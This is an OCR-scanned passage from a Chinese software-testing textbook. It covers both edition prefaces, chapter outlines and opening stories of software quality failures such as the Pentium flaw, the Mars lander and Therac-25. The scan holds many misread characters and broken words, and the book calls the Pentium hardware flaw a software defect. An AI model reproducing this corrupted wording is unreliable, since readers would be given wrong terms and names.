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软件 工程 技术 人 员 的 参考 书 。 
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FOREWORD 


第 2 版 前 言 


十 年 前 一 一 2000 年 ,我 们 就 全 身心 投入 到 “软件 测试 ”这 一 学 科 
中 ,但 那 时 ,“ 软 件 测试 ”还 没有 引起 大 家 足够 的 关注 ,软件 测试 方面 的 
图 书 很 少 ,只 有 几 本 从 国外 翻译 过 来 的 。 今 天 “软件 测试 "这 一 领域 已 
欣欣 向 荣 , 软 件 测试 的 培训 很 火热 ,从 业 人 员 也 是 一 个 很 大 的 数字 , 测 
试 方面 的 图 书 也 是 琳琅 满目 。5 年 前 ,我 们 的 (软件 测试 方法 和 技术 》 
第 1 版 和 读者 见面 了 , 深 受 读者 喜欢 ,多 次 印刷 ,还 获得 了 一 些 殊荣 ， 
如 荣获 第 8 届 大 学 生 图 书 节 畅 销 图书 一 等 奖 并 被 选 为 “国家 十 一 五 高 
等 学 校规 划 教材 "。 书 出 版 之 后 ,陆续 收 到 读者 的 反馈 ,其 中 提出 了 不 
少 宝贵 的 意见 。 

为 了 不 率 负 读者 的 厚望 ,我 们 认真 吸取 读者 的 反馈 意见 ,参考 更 
多 的 资料 ,历时 一 年 多 ,对 第 1 版 内 容 做 了 大 量 修改 。 虽 然 保 持 了 本 
书 的 整体 结构 ,但 对 一 些 章节 做 了 调整 。 例 如 ,将 “ 白 盒 测试 方法 和 黑 
盒 测试 方法 ”的 基本 内 容 从 原来 (第 1 版 ) 第 5 章 . 第 14 章 移 到 现在 
的 第 3 章 ; 将 测试 策略 ,测试 计划 (第 1 版 3.2 节 和 3.3 节 ) 内 容 移 到 
第 17 章 ,从 测试 项 目 管理 角度 来 全 面 介绍 测试 策略 制定 和 测试 计划 ， 
其 中 测试 策略 可 以 看 作 是 测试 计划 过 程 中 的 重要 工作 之 一 。 第 2 版 
还 删除 了 一 些 和 测试 内 容 关系 不 够 紧密 的 内 容 , 例 如 “1. 1 软件 的 含 
义 ”“1.2 软件 开发 过 程 特性 ”、SQA 和 CMM 相关 内 容 “9. 1 应 用 服 
务 器 的 分 类 和 特征 ”“16. 1. 2 软件 度量 的 分 工 和 过 程 " 和 “17. 1.1 软 
件 项 目 管理 的 共性 ”等 ,使 本 书 更 加 专业 , 留 出 更 大 空间 来 介绍 更 多 的 
软件 测试 知识 和 技术 。 所 以 ,在 第 2 版 增加 了 比较 多 的 内 容 , 包 括 : 

© 正 交 试 验 法 。 
形式 化 测试 方法 。 
基于 模型 的 软件 测试 。 
扩展 有 限 状态 机 方法 。 
模糊 测试 方法 。 
基于 客户 角度 的 Java 测试 。 
基于 程序 角度 的 Java 测试 。 
测试 过 程 模型 TMap。 
测试 过 程 改进 模型 TMM/TPI/CTP/STEP. 
虚拟 机 技术 。 
自动 化 部 署 。 


。 开源 测试 工具 。 

。 嵌入 式 软件 测试 工具 。 

使 之 跟 上 软件 技术 的 发 展 , 更 贴近 软件 测试 领域 的 实际 应 用 ,同时 ,第 2 版 在 内 容 上 更 加 完 
整 ,涵盖 了 实际 测试 工作 上 所 需 的 各 项 技能 。 

第 2 版 在 第 1~4 章 上 做 了 很 大 改动 ,加 上 前 面 所 述 的 修改 ,使 本 书 在 内 容 组 织 上 更 加 
自然 .合理 ,从 基本 概念 到 方法 ,再 从 方法 到 技术 ,逐步 推进 ,使 软件 测试 这 门 课程 的 学 习 达 
到 最 好 的 效果 。 第 2 版 在 测试 工具 应 用 上 增加 了 分 量 ,不 仅 提 高 了 测试 技术 水 平 ,而 且 涉 及 
面 更 广 , 从 单元 测试 .GUI 功能 测试 到 服务 器 的 性 能 测试 等 各 个 方面 ,进行 了 更 深入 的 讨 
论 。 在 性 能 测试 上 也 比 第 1 版 有 更 详细 的 介绍 。 

第 2 版 修订 工作 由 朱 少 民 负责 和 定稿 ,其 中 第 1 一 4.6 一 7、10 一 17 章 由 朱 少 民 修订 ， 
第 5.8 章 由 王 顺 修订 ,第 9 章 由 朱 少 民 、 王 顺 共 同 修订 , 李 曦 参与 了 第 3、4 章 的 部 分 修订 
TH. 

本 书 特 别 重视 理论 与 实践 相 结合 ,使 读者 既 能 领会 软件 测试 的 思想 和 方法 ,又 能 将 这 些 
方法 和 技术 应 用 到 实际 工作 中 。 因 此 ,本 书 既 适合 作为 计算 机 应 用 、 计 算 机 软件 .软件 工程 、 
软件 测试 等 学 科 的 大 学 教材 ,也 适合 从 事 软件 开发 和 维护 的 工程 技术 人 员 的 阅读 ,包括 软件 
测试 人 员 、 开 发 人 员 ,项 目 经 理 和 产品 经 理 。 

由 于 作者 水 平 有 限 ,本 书 经 过 修订 仍 会 存在 一 些 问 题 ,欢迎 读者 继续 提出 宝贵 意见 ,不 
断 提高 本 教材 的 质量 。 


作 者 
2010 年 3 月 


FOREWORD 


第 1 版 前 言 


2002 年 国家 信息 产业 部 在 软件 产业 发 展 公报 中 列举 了 我 国 软件 
业 发 展 的 三 大 问题 ,其 中 一 个 问题 就 是 国内 软件 企业 出 口 能 力 很 弱 ， 
是 这 样 写 的 :“ 随 着 国内 软件 企业 的 发 展 壮大 ,国内 软件 企业 也 在 开 
始 不 断 开 拓 海 外 市 场 。 但 由 于 缺乏 有 自主 知识 产权 的 拳头 产品 ,同时 
又 缺乏 较 强 的 项 目 分 析 和 设计 经 验 , 对 国际 市 场 信息 .先进 软件 的 设 
计 、 开 发 方式 缺乏 了 解 ,大 多 没有 完善 的 质量 保障 体系 ,对 软件 开发 过 
程 缺乏 有 效 的 管理 体系 ,缺乏 严格 的 质量 认证 和 规范 化 管理 ,不 能 与 
国际 标准 接轨 ,这些 都 构成 了 软件 出 口 的 重要 障碍 ”。 由 此 可 见 , 完 善 
的 质量 保障 体系 .严格 的 质量 认证 是 提高 软件 企业 生产 能 力 和 竞争 能 
力 的 重要 因素 。 

软件 测试 是 软件 质量 保证 的 关键 步骤 。 软 件 测试 研究 的 结果 表 
明 : 软件 中 存在 的 问题 发 现 越 早 , 其 软件 开发 费用 就 越 低 ; 在 编码 后 
修改 软件 缺陷 的 成 本 是 编码 前 的 10 倍 , 在 产品 交付 后 修改 软件 缺陷 
的 成 本 是 交付 前 的 10 倍 ; 软件 质量 越 高 ,软件 发 布 后 的 维护 费用 越 
低 。 另 据 对 国际 著名 IT 企业 的 统计 ,它们 的 软件 测试 费用 占 整个 软 
件 工程 所 有 研发 费用 的 50% 以 上 。 

相 比 之 下 ,中 国 软件 企业 在 软件 测试 方面 与 国际 水 准 相 比 仍 存在 
较 大 差距 。 首 先 ,在 认识 上 重 开发 . 轻 测试 ,忽略 了 如 何 通过 流程 改进 
和 软件 测试 来 保证 产品 或 系统 的 质量 ; 也 没有 认识 到 软件 项 目的 如 
期 完成 不 仅 取决 于 系统 设计 水 平和 代码 实现 能 力 , 而 且 取 决 于 设计 、 
代码 ,文档 等 各 方面 的 质量 ; 其 次 ,在 管理 上 表现 为 随意 、 简 单 ,没有 
建立 规范 、 有 效 的 软件 测试 管理 体系 ; 另外 ,缺少 自动 化 工具 的 支持 ， 
大 多 数 企业 在 软件 测试 时 并 没有 采用 软件 测试 管理 系统 。 所 以 对 软 
件 企业 来 说 ,不 仅 要 提高 对 软件 测试 的 认识 ,同时 要 建立 起 独立 的 软 
件 测试 组 织 . 采 用 先进 的 测试 技术 、 充 分 运用 测试 工具 、 不 断 改善 软件 
开发 流程 ,建立 完善 的 软件 质量 保证 的 管理 体系 。 只 有 这 样 才 有 可 能 
达到 软件 开发 的 预期 目标 ,降低 软件 开发 成 本 和 风险 ,提高 软件 开发 
效率 和 生产 力 ,确保 及 时 地 发 布 高 质量 的 软件 产品 。 

为 了 缩小 国内 软件 测试 水 平和 国际 水 准 的 差距 ,我 们 将 多 年 来 所 
积累 的 软件 测试 经 验 与 技术 实践 , 依 理论 、 方 法 和 实践 三 个 部 分 整理 
成 书 , 与 大 家 共享 。 同 时 ,也 将 作者 在 大 学 软件 学 院 所 开设 的 软件 测 
试 专业 课程 ,在 全 国 性 软件 测试 和 质量 保证 高 级 培训 班 以 及 其 他 培训 


班 等 上 的 授课 经 验 与 交流 体会 ,融入 本 书 之 中 。 

全 书 共 三 篇 ,分 17 章 ,涵盖 了 软件 测试 技术 和 方法 所 涉及 的 各 方面 内 容 , 包 括 软件 测试 
团队 的 建立 ,测试 环境 的 设置 和 维护 、 软 件 测试 的 组 织 和 管理 等 , 既 有 理论 方法 ,又 有 实践 
经 验 。 

第 一 篇 ,软件 测试 的 原理 与 方法 , 共 分 4 章 ,阐述 软件 测试 的 重要 性 、 基 本 概念 和 方 

第 1 章 介绍 软件 开发 过 程 以 及 在 软件 开发 过 程 中 所 采用 的 过 程 模 型 ,结合 过 程 模型 来 
明确 软件 测试 的 地 位 ,并 力图 从 一 些 经 典 的 软件 质量 事故 中 给 读者 一 些 启 发 。 

第 2 章 一 开头 就 介绍 “软件 质量 ”这 个 重要 概念 ,然后 以 此 为 出 发 点 引出 软件 测试 的 基 
本 概念 和 方法 ,软件 缺陷 (Bug) 的 含义 ,以 及 软件 测试 的 分 类 、 阶 段 和 过 程 。 

第 3 章 主 要 介绍 软件 测试 策略 和 测试 计划 的 内 涵 ,制定 方法 ,并 讨论 了 质量 保证 与 测试 
的 区 别 , 以 及 如 何 进 行 质量 可 靠 性 、 测 试 风险 性 的 评估 。 

第 4 章 从 软件 质量 标准 ,逐步 深入 到 软件 测试 的 依据 和 规范 ,介绍 了 什么 是 规范 的 软件 
测试 和 质量 管理 的 评判 体系 ,简单 地 讨论 了 CMM 和 ISO 9001 思想 和 结构 体系 。 

第 二 篇 ,软件 测试 的 技术 , 共 分 7 章 , 介 绍 软 件 测试 在 各 个 阶段 (单元 测试 、 集 成 测试 、 系 
统 测试 ,验收 测试 和 安装 测试 ) 的 技术 和 方法 ,并 通过 对 典型 的 应 用 软件 领域 的 测试 特点 的 
讨论 ,更 好 地 帮助 读者 深入 理解 本 章 的 核心 内 容 一 一 软件 测试 的 技术 。 

第 5 章 主要 是 介绍 单元 测试 的 概念 和 各 种 方法 ,包括 等 价 划分 .边界 条 件 确 定 、 程 序 路 
径 与 逻辑 验证 、 程 序 状态 变化 等 测试 方法 ,简单 讨论 了 编码 标准 和 规范 .代码 的 审查 等 。 

第 6 章 介绍 集成 测试 和 系统 测试 ,重点 在 系统 测试 上 ,包括 压力 测试 .容量 测试 .性 能 测 
试 . 安 全 性 测试 .可 靠 性 和 容错 性 测试 等 方法 及 其 对 比 。 

第 7 章 内 容 集中 在 验收 测试 阶段 ,其 中 包括 安装 测试 ,涉及 产品 说 明 书 的 验证 .可 用 性 、 
兼容 性 可 安装 性 ,可 恢复 性 和 文档 等 各 个 方面 的 测试 。 

第 8 章 介 绍 目前 比较 流行 的 面向 对 象 软件 这 一 领域 的 各 种 特定 的 测试 方法 ,包括 数据 
流 测试 .面向 对 象 的 单元 和 集成 测试 以 及 基于 UML 的 系统 测试 等 。 

第 9 章 介 绍 面向 应 用 服务 器 的 测试 ,具有 内 容 新 .技术 深 的 特点 ,包括 Web 服务 器 、 数 
据 库 应 用 服务 器 、J2EE 平台 等 应 用 系统 的 测试 技术 。 

第 10 章 介绍 软件 国际 化 和 本 地 化 的 测试 方法 和 注意 事项 ,国际 化 (II8N) 和 本 地 化 
(L10N) 的 应 用 随 着 我 国 加 入 WTO 后 越 来 越 多 ,其 测试 越 来 越 受到 重视 。 

第 11 章 介绍 了 软件 测试 自动 化 的 概念 ,流行 测试 工具 的 分 类 和 应 用 ,最 后 给 出 了 基于 
IBM-Rational, MI, Compuware 这 三 家 著名 公司 产品 的 整体 解决 方案 。 

第 三 篇 ,软件 测试 的 实践 , 共 分 6 章 , 介 绍 软件 测试 的 团队 和 环境 的 建立 ,以 及 如 何 设计 
测试 用 例 、 如 何 报告 软件 缺陷 、 如 何 写 测试 报告 ,最 后 介绍 了 软件 测试 项 目 管理 的 方法 和 
经 验 。 

第 12 章 介绍 软件 测试 团队 的 任务 构成 规模 和 组 织 模型 ,并 详细 介绍 了 测试 团队 的 招 
聘 、 面 试 . 激 励 . 发 展 等 实践 经 验 。 

第 13 章 介 绍 一 个 标准 的 、 规 范 的 测试 环境 是 如 何 建立 和 配置 起 来 的 ,以 及 如 何 做 好 维 
护 , 满 足 测试 对 环境 的 严格 要 求 。 

第 14 章 介绍 软件 测试 用 例 的 设计 方法 和 经 验 , 不 仅 包括 白 盒 测 试 和 黑 盒 测试 的 用 例 设 


计 方法 ,还 包括 用 户 使 用 情景 的 测试 用 例 设 计 方 法 ,以 及 用 例 的 组 织 、 维 护 和 改善 。 

第 15 章 介 绍 一 般 测 试 人 员 所 需要 掌握 的 、 最 基本 的 实践 能 力 一 一 如 何 描 述 、 处 理 和 跟 
踪 所 发 现 的 软件 缺陷 。 

第 16 章 介绍 如 何 写 测试 和 软件 质量 分 析 报告 ,特别 提供 了 评估 系统 测试 的 覆盖 程度 、 
产品 质量 的 量化 分 析 等 方法 ,以 及 测试 报告 的 模板 和 实例 。 

第 17 章 介 绍 了 国际 化 的 .先进 的 软件 测试 项 目的 组 织 与 管理 的 方法 和 经 验 , 包 括 测试 
资源 分 配 和 进度 控制 .软件 版 本 和 分 支 的 控制 等 。 

每 章 后 面 都 附 有 小 结 和 思考 题 。 

本 书 最 后 附 有 测试 常用 的 中 英文 术语 对 照 、 常 用 的 各 种 测试 文档 模板 ,参考 文献 和 测试 
信息 资源 。 
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第 一 篇 
软件 测试 的 原理 与 方法 


软件 测试 是 软件 开发 过 程 中 的 一 个 重要 组 成 部 分 ,其 目的 就 是 对 软件 产品 (包括 阶段 性 
成 果 ) 进 行 验证 和 确认 的 活动 过 程 ,尽快 尽早 地 发 现在 软件 产品 中 所 存在 的 各 种 问题 。 

软件 测试 作为 软件 质量 保证 的 重要 手段 ,贯穿 整个 软件 生命 周期 ,从 程序 测试 扩展 到 需 
求 和 设计 的 评审 ,涵盖 静态 测试 和 动态 测试 ,并 依据 质量 标准 和 测试 规范 ,主要 采用 白 盒 测 
试 方法 和 黑 鲍 测试 方法 ,完成 各 项 具体 的 测试 任务 ,以 保证 软件 产品 的 质量 。 在 这 一 篇 , 包 
括 4 章 。 

第 1 章 引 论 

第 2 章 软件 测试 的 基本 概念 

第 3 章 软件 测试 方法 

第 4 章 软件 测试 依据 和 规范 


ez p> 


COMPUTER AGE 


软件 开发 的 最 基本 要 求 是 按时 、 高 质量 地 发 布 软件 产品 ,而 软件 
测试 是 软件 质量 保证 的 最 重要 的 手段 之 一 。 对 于 软件 ,不 论 采 用 什么 
技术 和 什么 方法 来 进行 开发 ,软件 产品 中 仍然 会 存在 或 多 或 少 的 错误 
和 问题 。 采 用 先进 的 开发 方式 和 较 完 善 的 开发 流程 ,可 以 减少 错误 的 
引入 ,但 是 不 可 能 杜绝 软件 中 的 错误 ,这 些 引 入 的 错误 需要 通过 测试 
来 发 现 。 

在 整个 软件 生命 周期 中 每 个 阶段 .每 个 时 刻 都 存在 软件 测试 活 
动 ,软件 测试 伴随 着 软件 开发 ,以 检验 每 一 个 阶段 性 的 成 果 是 否 符 
合 质量 要 求 和 达到 预先 定义 的 目标 , 尽 可 能 早 地 发 现 错误 并 及 时 
改正 。 


1.1 软件 测试 的 必要 性 


软件 无 处 不 在 ,人 们 在 不 同 的 场合 都 有 可 能 会 不 知 不 觉 地 使 用 软 
件 ,如 日 常生 活 中 的 手机 、 智 能 冰箱 、 新 一 代 的 数字 彩电 、 洗 衣 机 等 。 
在 日 常 使 用 软件 中 ,也 或 多 或 少 会 碰 到 一 些 不 愉快 的 事情 ,如 信号 显 
示 不 对 ,数据 不 完整 .操作 不 灵活 等 。 例 如 ,2002 年 7 月 ,首都 机 场 由 
于 软件 缺陷 影响 通信 传输 ,造成 航班 无 法 起 飞 , 大 批 旅 客 滞留 机 场 。 
还 有 ,2008 年 北京 奥运 会 官方 网 站 第 二 阶段 开始 售票 , 短 短 半 个 小 时 
不 到 ,由 于 性 能 上 不 能 承受 过 多 的 同时 上 线 购 票 ,造成 网 站 瘫痪 ,不 得 
不 停止 服务 。 但 软件 问题 有 时 引起 的 麻烦 远 不 止 这 些 ,造成 的 危害 可 
能 会 非常 严重 。 有 时 仅仅 因为 软件 系统 中 存在 一 个 很 小 的 错误 , 却 带 
来 了 灾难 性 的 后 果 。 下 面 所 介绍 的 软件 质量 事故 ,都 是 曾经 发 生 的 真 
实 故 事 , 它 们 向 我 们 阐述 了 一 个 简单 又 非常 重要 的 命题 一 一 软件 测试 
的 必要 性 。 


1.1.1 迪斯尼 并 不 总 是 带 来 笑 声 


1994 年 圣诞 节 前 夕 ,看 迪斯尼 公司 发 布 了 第 一 个 面向 儿童 的 多 
媒体 光盘 游戏 “狮子 王 童话 ”。 尽 管 在 此 之 前 ,已 经 有 不 少 公 司 在 儿童 
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计算 机 游戏 市 场 上 运作 多 年 ,但 对 迪斯尼 公司 而 言 , 还 是 第 一 次 进军 这 个 市 场 。 由 于 迪斯尼 
公司 的 著名 品牌 和 事先 的 大 力 宣传 及 良好 的 促销 活动 ,结果 ,市 场 销售 情况 非常 不 错 ,该 游 
戏 成 为 父母 为 自己 孩子 过 圣诞 节 的 必 买 礼物 。 

但 结果 却 出 人 意料 ,12 月 26 日 ,圣诞 节 后 的 第 一 天 ,迪斯尼 公司 的 客户 支持 部 电话 开 
始 响 个 不 停 ,不 断 有 人 咨询 .抱怨 为 什么 游戏 总 是 安装 不 成 功 , 或 没 法 正常 使 用 。 很 快 ,电话 
支持 部 门 就 淹没 在 愤怒 家 长 的 责问 声 和 玩 不 成 游戏 孩子 们 的 器 诉 声 之 中 ,报纸 和 电视 开始 
不 断 报道 此 事 。 

后 来 证 实 ,迪斯尼 公司 没有 对 当时 市 场 上 的 各 种 PC 机 型 进行 完整 的 系统 兼容 性 测试 ， 
只 是 在 几 种 PC 机 型 上 进行 了 相关 测试 。 所 以 ,这 个 游戏 软件 只 能 在 少数 系统 中 正常 运行 ， 
但 在 大 众 使 用 的 其 他 常见 系统 中 却 不 能 正常 安装 和 运行 。 


1.1.2 一 个 缺陷 造成 了 数 亿美 元 损失 


在 计算 机 的 “计算 器 "程序 中 输入 以 下 算式 : 
(4 195 835/3 145 727) X 3 145 727— 4 195 835 

如 果 答 案 是 0, 就 说 明 该 计算 机 浮 点 运算 没 问 题 。 如 果 答 案 不 是 0, 就 表示 计算 机 的 浮 点 除 
法 存在 缺陷 。 

1994 年 ,英特尔 奔腾 CPU 芯片 就 曾经 存在 这 样 一 个 软件 缺陷 ,而 且 被 大 批 生产 出 来 卖 
到 用 户 那 里 ,最 后 ,英特尔 为 自己 处 理 软件 缺陷 的 行为 道 痰 并 拿 出 4 亿 多 美元 来 支付 更 换 坏 
芯片 的 费用 ,可 见 , 这 个 软件 缺陷 造成 的 损失 有 多 大 ! 

这 个 缺陷 是 美国 弗吉尼亚 州 Lguchbny 大 学 的 Thomas R. Nicely 博士 发 现 的 。 他 在 奔 
腾 PC 上 做 除法 实验 时 记录 了 一 个 没 想 到 的 结果 。 他 把 发 现 的 问题 放 到 因特网 上 ,随后 引 
发 了 一 场 风暴 ,成 千 上 万 的 人 发 现 了 同样 的 问题 ,以 及 得 出 错误 结果 的 其 他 情形 。 万 幸 的 
是 ,这 种 情况 很 少见 ,仅仅 在 进行 精度 要 求 很 高 的 数学 、 科 学 和 工程 计算 中 才 导 臻 错误。 大 
多 数 进行 财会 管理 和 商务 应 用 的 用 户 根本 不 会 遇 到 此 类 问题 。 

这 个 故事 不 仅 说 明 软 件 缺 陷 所 带 来 的 问题 ,更 重要 的 是 对 待 软件 缺陷 的 态度 。 

。 英 特 尔 的 软件 测试 工程 师 在 芯片 发 布 之 前 进行 内 部 测试 时 已 经 发 现 了 这 个 问题 ,但 

管理 层 认 为 这 没有 严重 到 一 定 要 修正 ,甚至 需要 公布 这 个 问题 。 
。 当 软 件 缺 陷 被 发 现时 ,英特尔 通过 新 闻 发 布 和 公开 声明 试图 掩饰 此 问题 的 严重 性 。 
。 受到 压力 时 ,英特尔 承诺 更 换 有 问题 的 芯片 ,但 要 求 用 户 必 须 证 明 自 己 受 到 软件 缺 
陷 的 影响 。 

结果 奥 论 大 唑 。 因 特 网 新 闻 组 充斥 着 愤怒 的 客户 要 求 英 特 尔 解决 问题 的 呼声 。 得 到 这 
个 教训 之 后 ,英特尔 在 网 站 上 报告 已 发 现 的 问题 ,并 认真 对 待 客户 在 因特网 新 闻 组 上 的 反馈 
意见 。 

比 英特尔 公司 损失 更 大 的 是 美国 丹佛 市 的 国际 机 场 。 丹 佛 新 国际 机 场 希望 被 建成 现代 
的 (state-of-the-art) 机 场 , 它 将 拥有 复杂 的 、 计 算 机 控制 的 .自动化 的 包 庄 处 理 系统 ,而 且 
还 有 5300 英里 长 的 光纤 网 络 。 不 幸 的 是 ,在 这 个 包 庄 处理 系统 中 存在 一 个 严重 的 程序 
缺陷 ,自动 包 右 车 居然 会 一 直 开 着 往 墙 里 面 钻 ,导致 行李 箱 被 绞 碎 。 结 果 , 机 场 启 用 推迟 
16 个 月 ,使 得 预算 超过 32 亿美 元 ,并 且 废 弃 这 个 自动 化 的 包 于 处 理 系 统 ,使 用 手工 处 理 
WEAR. 


1.1.3 火星 探测 飞船 坠毁 


火星 探测 飞船 坠毁 是 20 世纪 末 发 生 的 悲剧 ,而 这 主要 就 是 由 于 软件 测试 没 做 好 。 仅 仅 
由 于 两 个 测试 小 组 单独 进行 测试 ,没有 进行 很 好 地 沟通 ,缺少 一 个 集成 测试 的 阶段 ,结果 导 
致 1999 年 美国 宇航 局 的 火星 探测 飞船 在 试图 登陆 火星 地 面 时 突然 坠毁 失踪 。 质 量 管理 小 
组 观测 到 故障 ,并 认定 出 现 误 动作 的 原因 极 可 能 是 某 一 个 数据 位 被 意外 更 改 。 什 么 情况 下 
这 个 数据 位 被 修改 了 ? 又 为 什么 没有 在 内 部 测试 时 被 发 现 呢 ? 

从 理论 上 看 ,登陆 计划 被 设计 成 这 样 一 一 在 飞船 降落 到 火星 的 过 程 中 ,降落 伞 将 被 打 
开 , 减 缓 飞船 的 下 落 速度 。 降 落 钙 打开 后 的 几 秒 钟 内 ,飞船 的 3 条 腿 将 迅速 撑 开 ,并 在 预定 
地 点 着 陆 。 当 飞船 离 地 面 1800 米 时 , 它 将 丢弃 降落 金 , 点 燃 登 陆 反 推进 器 ,借助 反 推力 来 不 
断 降低 速度 ,从 而 可 以 使 飞船 能 缓 缓 降落 地 面 。 

美国 宇航 局 为 了 省 钱 ,简化 了 确定 何 时 关闭 推进 器 的 装置 。 为 了 蔡 代 其 他 太空 船上 使 
用 的 贵重 雷达 ,在 飞船 的 脚 上 装 了 一 个 廉价 的 触 点 开关 ,在 计算 机 中 设置 一 个 数据 位 来 关 掉 
燃料 。 很 简单 ,飞船 的 脚 不 “着 地 ”, 引 要 就 会 点 火 。 不 幸 的 是 ,质量 管理 小 组 在 事后 的 测试 
中 发 现 , 当 飞船 的 脚 迅速 摆 开 准备 着 陆 时 ,机 械 震 动 在 大 多 数 情况 下 也 会 触发 着 地 开关 , 设 
置 错误 的 数据 位 。 设 想 飞 船 开始 着 陆 时 ,计算 机 极 有 可 能 关闭 推进 器 ,而 火星 登陆 飞船 下 附 
1800 米 之 后 没有 反 推进 器 的 帮助 , 冲 向 地 面 ,必然 会 撞 成 碎片 。 

为 什么 会 出 现 这 样 的 结果 ? 原因 很 简单 。 登 陆 飞 船 经 过 了 多 个 小 组 测试 。 其 中 一 个 小 
组 测试 飞船 的 脚 落地 过 程 (Leg Fold-down Procedure) ,但 从 没有 检查 那个 关键 的 数据 位 ， 
因为 那 不 是 这 个 小 组 负责 的 范围 ; 另 一 个 小 组 测试 着 陆 过 程 的 其 他 部 分 ,但 这 个 小 组 总 是 
在 开始 测试 之 前 重 置 计算 机 、 清 除数 据 位 。 双 方 本 身 的 工作 都 没什么 问题 ,就 是 没有 合 在 一 
起 测试 ,其 接口 没有 被 测 ,而 问题 就 在 这 里 ,后 一 个 小 组 没有 注意 到 数据 位 已 经 被 错误 设 定 。 


1.1.4 更 多 的 悲剧 


新 浪 科 技 引用 《商业 周刊 ) 网 站 在 “网 络 安 全 ”专题 中 的 文章 ,对 “冲击 波 ” 计 算 机 病毒 进 
行 了 分 析 。2003 年 8 月 11 日 冲击波” 计算 机 病毒 首先 在 美国 发 作 , 使 美国 的 政府 机 关 、 
企业 及 个 人 用 户 的 成 千 上 万 的 计算 机 受到 攻击 。 随 后 ,冲击 波 蠕虫 很 快 在 因特网 上 广泛 传 
播 ,中 国 . 日 本 和 欧洲 等 国家 也 相继 受到 不 断 的 攻击 ,结果 使 十 几 万 台 邮 件 服务 器 瘫痪 ,给 整 
个 世界 范围 内 的 Internet 通信 带 来 惨重 损失 。 

制造 冲击 波 蠕虫 的 黑客 仅仅 用 了 3 周 时 间 就 制造 了 这 个 恶毒 的 程序 , “冲击波” 计算 机 
病毒 仅仅 是 利用 微软 Messenger Service 中 的 一 个 缺陷 ,攻破 计算 机 安全 屏障 ,可 使 基于 
Windows 操作 系统 的 计算 机 崩溃 。 该 缺陷 几乎 影响 当前 所 有 微软 Windows 系统 , 它 甚至 
使 安全 专家 产生 更 大 的 忧虑 : 独立 的 黑客 们 将 很 快 找到 利用 该 缺陷 控制 大 部 分 计算 机 的 方 
法 。 随 后 ,微软 公司 不 得 不 紧急 发 布 补丁 包 , 修 正 这 个 缺陷 。 

软件 缺陷 还 会 造成 更 大 的 悲剧 ,导致 生命 危险 ,下 面 就 是 两 个 典型 的 实例 。 

1. 治疗 仪 治 死 4 人 

由 于 放射 性 治疗 仪 Therac-25 中 的 软件 存在 缺陷 ,导致 几 个 癌症 病人 受到 非常 严重 的 
过 量 放射 性 治疗 ,其 中 4 个 人 因此 死亡 。 一 个 独立 的 科学 调查 报告 显示 : 即使 在 加 拿 大 原 
子 能 公司 (Atomic Energy of Canada Limited. AECL) 已 经 处 理 了 几 个 特定 的 软件 缺陷 ,这 


种 事故 还 是 发 生 了 。 造 成 这 种 低级 而 致命 的 错误 的 原因 是 缺乏 软件 工程 实践 ,一 个 错误 的 
想法 是 软件 的 可 靠 性 依赖 于 用 户 的 安全 操作 。 


2. 28 名 美国 士兵 死亡 


美国 爱国 者 导弹 防御 系统 是 主动 战略 防御 ( 即 星 球 大 战 ) 系 统 的 简化 版 本 , 它 首次 被 用 
在 第 一 次 海湾 战争 对 抗 伊拉克 飞毛腿 导弹 的 防御 作战 中 ,总 体 上 看 效果 不 错 ,赢得 各 界 的 赞 
誉 。 但 它 还 是 有 几 次 失利 ,没有 成 功 拦 截 伊拉克 飞毛腿 导弹 ,其 中 一 枚 在 沙特 阿拉 伯 的 多 哈 
爆炸 的 飞毛腿 导弹 造成 28 名 美国 土 兵 死亡 。 分 析 专 家 发 现 ,拦截 失败 的 症结 在 于 一 个 软件 
缺陷 , 当 爱 国 者 导弹 防御 系统 的 时 钟 累计 运行 超过 14 小 时 后 ,系统 的 跟踪 系统 就 不 准确 。 
在 多 哈 袭 击 战 中 ,爱国 者 导弹 防御 系统 运行 时 间 已 经 累计 超过 100 多 个 小 时 ,显然 那 时 系统 
的 跟踪 系统 已 经 很 不 准确 ,从 而 造成 这 种 结果 。 


1.2 为 什么 要 进行 软件 测试 


为 什么 要 进行 软件 测试 ? 答案 很 简单 ,就 是 为 了 保证 软件 质量 。1. 1 节 所 介绍 的 软件 
质量 事故 就 说 明了 这 一 点 ,没有 很 好 地 完成 软件 测试 任务 ,产品 的 质量 得 不 到 保证 。 如 果 没 
有 软件 测试 ,产品 的 质量 就 不 敢 想象 。 测 试 是 软件 工程 中 不 可 缺少 的 一 部 分 ,特别 是 当 软 件 
无 处 不 在 、 越 来 越 贴近 人 们 的 生活 和 工作 的 时 候 , 软 件 测试 的 必要 性 就 越 来 越 明显 。 

对 于 软件 来 讲 , 总 会 存在 或 多 或 少 的 问题 。 在 需求 定义 中 会 出 现 问 题 , 在 软件 设计 和 编 
程 中 同样 会 存在 问题 。 软 件 系统 在 构造 过 程 中 ,不 论 采 用 什么 技术 和 什么 方法 ,软件 问题 仍 
然 不 可 人 避免。 采用 成 熟 的 编程 语言 .先进 的 开发 方式 完善 的 开发 过 程 ,可 以 减少 错误 的 引 
入 ,但 是 不 可 能 完全 杜绝 软件 中 的 错误 ,这 些 引 入 的 错误 需要 测试 来 找 出 ,软件 中 的 错误 密 
度 也 需要 测试 来 进行 评估 。 

软件 测试 是 软件 质量 保证 的 关键 步 又。 美国 质量 保证 研究 所 对 软件 测试 的 研究 结果 表 
明 : 越 早 发 现 软件 中 存在 的 问题 ,开发 费用 就 越 低 ; 在 编码 后 修改 软件 缺陷 的 成 本 是 编码 
前 的 10 倍 , 在 产品 交付 后 修改 软件 缺陷 的 成 本 是 交付 前 的 10 倍 ; 软件 质量 越 高 ,软件 发 布 
后 的 维护 费用 越 低 。 另 外 ,根据 对 国际 著名 IT 企业 的 统计 ,它们 的 软件 测试 费用 占 整 个 软 
件 工程 所 有 研发 费用 的 50% 以 上 。 

自 有 程序 设计 的 那天 起 ,测试 就 一 直 伴 随 着 软件 开发 过 程 。 测 试 是 所 有 工程 学 科 的 基 
本 组 成 单元 ,自然 也 是 软件 开发 的 重要 组 成 部 分 。 软 件 测试 在 产品 开发 中 占据 着 相当 重要 
的 位 置 ,也 是 软件 行业 几 十 年 的 实践 所 证 明 的 一 个 道理 ,其 中 也 包含 从 大 量 的 质量 事故 教训 
中 所 获得 的 教训 和 经 验 。 以 微软 公司 为 例 , 大 家 可 以 感觉 到 ,微软 以 前 的 产品 (如 Windows 
95 和 Windows 98) 时 时 会 发 生 崩 演 、 死 机 等 现象 ,而 今天 的 产品 (如 Windows XP 和 
Windows 7) 则 比 多 年 前 的 产品 功能 要 强大 得 多 ,稳定 性 要 好 得 多 。 为 什么 呢 ? 这 是 因为 微 
